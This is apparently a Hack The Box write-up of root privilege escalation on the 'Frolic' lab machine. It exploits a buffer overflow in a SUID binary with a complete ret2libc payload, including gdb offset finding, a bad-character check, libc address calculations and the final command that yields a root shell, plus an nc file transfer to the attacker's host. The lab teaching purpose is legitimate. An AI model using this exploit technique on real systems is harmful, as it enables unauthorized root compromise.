Buffer Overflow
A buffer overflow vulnerability has been identified to be present in the SUID binary; /home/ayush/.binary/rop
Due to the ownership set to the root
user, I will be able to escalate the privileges by exploiting the vulnerability
www-data@frolic:/home/ayush/.binary$ nc 10.10.16.8 2222 < ./rop
┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ nnc 2222 > rop
listening on [any] 2222 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.111] 54870
I will first transfer the binary to Kali for further analysis
Enumeration
ASLR
www-data@frolic:/home/ayush/.binary$ cat /proc/sys/kernel/randomize_va_space
0
no aslr
Security
┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ gdb-peda -q ./rop
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
gdb-peda$
RELRO is partially present and NX is enabled
Control of EIP
┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ patterncreate -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
I will create a pattern of 100 characters to locate the buffer overflow
gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
starting program: /home/kali/archive/htb/labs/frolic/bof/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
Crashed as expected
Checking the register reveals that the EIP is pointing to the memory location of
0x62413762
┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ patternoffset -q 0x62413762
[*] Exact match at offset 52
I got a match at 52
┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ patterncreate -l 52
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A
Creating a string of 52 characters accordingly
I will append 4 of B
’s at the end of it
gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6ABBBB
starting program: /home/kali/archive/htb/labs/frolic/bof/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6ABBBB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
Executing with the additional 4 bytes of character B
Register shows that the EIP is now pointing to BBBB or
0x42424242
I now have the control of EIP
Payload Space
Now that I have the control of EIP, I can check how much of space that I can have for a potential shell code
gdb-peda$ r $(python2 -c 'print("C"*500)')
Starting program: /home/kali/archive/htb/labs/frolic/bof/rop $(python2 -c 'print("C"*500)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
Executing
Register shows that the C was repeated 200 times
Bad Characters
┌──(kali㉿kali)-[~/…/htb/labs/frolic/bof]
└─$ badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Generating the entire hexadecimal table
gdb-peda$ r $(python2 -c 'print("A"*52 + "BBBB" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')
starting program: /home/kali/archive/htb/labs/frolic/bof/rop $(python2 -c 'print("A"*52 + "BBBB" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
Executing the breakdown is:
- 52 of
A
’s for buffer - 4 of
B
’s for the EIP control - The remaining is the entire hexadecimal table
The register reveals that the EIP points to a memory location at
0xffffcc90
0x4030201
is the value stored at the memory location at 0xffffcc90
0x4030201
is a little-endian representation of the bytes "\x01\x02\x03\x04"
in hexadecimal
Heading over to the memory location that the ESP points to;
ffffba70
I expected those 256 hex characters to be here, but they are NOT
gdb-peda$ x/10000xb $esp
[...REDACTED...]
0xffffcfa0: 0x00 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcfa8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcfb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcfb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcfc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcfc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffcfd0: 0x41 0x41 0x41 0x41 0x41 0x42 0x42 0x42
0xffffcfd8: 0x42 0x01 0x02 0x03 0x04 0x05 0x06 0x07
0xffffcfe0: 0x08 0x00 0x0b 0x0c 0x0d 0x0e 0x0f 0x10
0xffffcfe8: 0x11 0x12 0x13 0x14 0x15 0x16 0x17 0x18
0xffffcff0: 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x00
0xffffcff8: 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28
0xffffd000: 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30
0xffffd008: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0xffffd010: 0x39 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f 0x40
0xffffd018: 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48
0xffffd020: 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50
0xffffd028: 0x51 0x52 0x53 0x54 0x55 0x56 0x57 0x58
0xffffd030: 0x59 0x5a 0x5b 0x5c 0x5d 0x5e 0x5f 0x60
0xffffd038: 0x61 0x62 0x63 0x64 0x65 0x66 0x67 0x68
0xffffd040: 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70
0xffffd048: 0x71 0x72 0x73 0x74 0x75 0x76 0x77 0x78
0xffffd050: 0x79 0x7a 0x7b 0x7c 0x7d 0x7e 0x7f 0x80
0xffffd058: 0x81 0x82 0x83 0x84 0x85 0x86 0x87 0x88
0xffffd060: 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f 0x90
0xffffd068: 0x91 0x92 0x93 0x94 0x95 0x96 0x97 0x98
0xffffd070: 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f 0xa0
0xffffd078: 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7 0xa8
0xffffd080: 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf 0xb0
0xffffd088: 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7 0xb8
0xffffd090: 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf 0xc0
0xffffd098: 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7 0xc8
0xffffd0a0: 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf 0xd0
0xffffd0a8: 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7 0xd8
0xffffd0b0: 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf 0xe0
0xffffd0b8: 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7 0xe8
0xffffd0c0: 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef 0xf0
0xffffd0c8: 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7 0xf8
0xffffd0d0: 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff 0x00
0xffffd0d8: 0x4c 0x45 0x53 0x53 0x5f 0x54 0x45 0x52
0xffffd0e0: 0x4d 0x43 0x41 0x50 0x5f 0x73 0x65 0x3d
Digging more into the 10000 bytes, 0xffffcfd9
is the actual memory address that the hexadecimal table begins
Except for the null byte character(0x00
), 3 characters are missing; 0x09
, 0x0a
, and 0x20
Return to libc Attack
The Return to libc attack
is a method of exploiting a buffer overflow vulnerability in which the attacker does not inject their own code, but instead redirects the execution flow to existing code located in the program’s memory. This is done by overwriting the return address in the call stack with the address of a function in the C library, such as system()
, exit()
, or /bin/sh
.
The system()
function is used to execute shell commands while the exit()
function is used to terminate the process.
By redirecting the execution flow to system()
and passing the address of /bin/sh
as an argument, the attacker can execute arbitrary shell commands with the privileges of the compromised program.
One of the key benefits of this technique is that it can be used to bypass security measures that are designed to prevent the execution of injected code, such as data execution prevention (DEP) and address space layout randomization (ASLR)
libc
www-data@frolic:/home/ayush$ for i in {1..20}; do ldd /home/ayush/.binary/rop | grep libc; done
grep libc; done}; do ldd /home/ayush/.binary/rop |
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
Since ASLR is disabled, it is unnecessary to execute the binary multiple times, but it is a good practice
The base offset is 0xb7e19000
Additionally, the binary is calling the library located at /lib/i386-linux-gnu/libc.so.6
System
www-data@frolic:/home/ayush$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i 'system@@'
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
The system offset is 0003ada0
Exit
www-data@frolic:/home/ayush$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i 'exit@@'
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
1849: 000b07c8 24 FUNC WEAK DEFAULT 13 _Exit@@GLIBC_2.1.1
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
The exit address is 0002e9d0
/bin/sh
Since I want to execute OS commands via the system call, I would need to know the offset of the /bin/sh
binary
www-data@frolic:/home/ayush$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep -i /bin/sh
15ba0b /bin/sh
The offset of the /bin/sh
binary is 15ba0b
Address Calculation
The formula is
system address
=base address
+system offset
exit address
=base address
+exit offset
/bin/sh address
=base address
+/bin/sh offset
It can be done inside gdb
gdb-peda$ p 0xb7e19000 + 0x0003ada0
$1 = 0xb7e53da0 #system address
gdb-peda$ p 0xb7e19000 + 0x0002e9d0
$2 = 0xb7e479d0 #exit address
gdb-peda$ p 0xb7e19000 + 0x15ba0b
$3 = 0xb7f74a0b #/bin/sh address
Payload
Payload structure is Buffer
+ system address
+ exit address
+ /bin/sh address
in the little Endian format
$(python -c 'print("A"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
So this would be the final payload
Exploitation
www-data@frolic:/home/ayush/.binary$ ./rop $(python -c 'print("A"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
# whoami
whoami
root
# hostname
hostname
frolic
# ifconfig
ifconfig
ens33 link encap:Ethernet HWaddr 00:50:56:b9:eb:ab
inet addr:10.10.10.111 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:feb9:ebab/64 Scope:Link
inet6 addr: dead:beef::250:56ff:feb9:ebab/64 Scope:Global
up broadcast running multicast mtu:1500 Metric:1
rx packets:1238311 errors:354 dropped:1118 overruns:0 frame:0
tx packets:1225563 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
rx bytes:198501648 (198.5 MB) TX bytes:414398938 (414.3 MB)
interrupt:19 Base address:0x2000
lo link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
up loopback running mtu:65536 Metric:1
rx packets:131622 errors:0 dropped:0 overruns:0 frame:0
tx packets:131622 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
rx bytes:9739762 (9.7 MB) TX bytes:9739762 (9.7 MB)
System Level Compromise